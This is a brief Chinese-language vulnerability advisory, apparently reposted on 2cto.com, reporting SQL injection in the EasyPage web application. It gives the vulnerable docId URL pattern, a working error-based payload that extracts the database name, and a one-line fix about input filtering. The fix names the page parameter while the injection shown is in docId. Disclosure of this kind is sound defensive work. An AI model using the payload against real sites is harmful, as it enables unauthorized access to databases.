标题: EasyPage SQL Injection Vulnerability
作者Red Security TEAM
开发者: http://karait.com/ www.2cto.com
测试平台: Windows Server 2008 (Microsoft-IIS/7.5)
测试方法:
# http://www.2cto.com /default.aspx?page=Document&app=Documents&docId=[SQLi]
#
示例:
#
# [Get Database Name]
# http://www.2cto.com /default.aspx?page=Document&app=Documents&docId=convert(int,db_name() COLLATE SQL_Latin1_General_Cp1254_CS_AS) and 1=1
 
 
www.2cto.com提供修复方案
 
过滤default.aspx页面page参数输入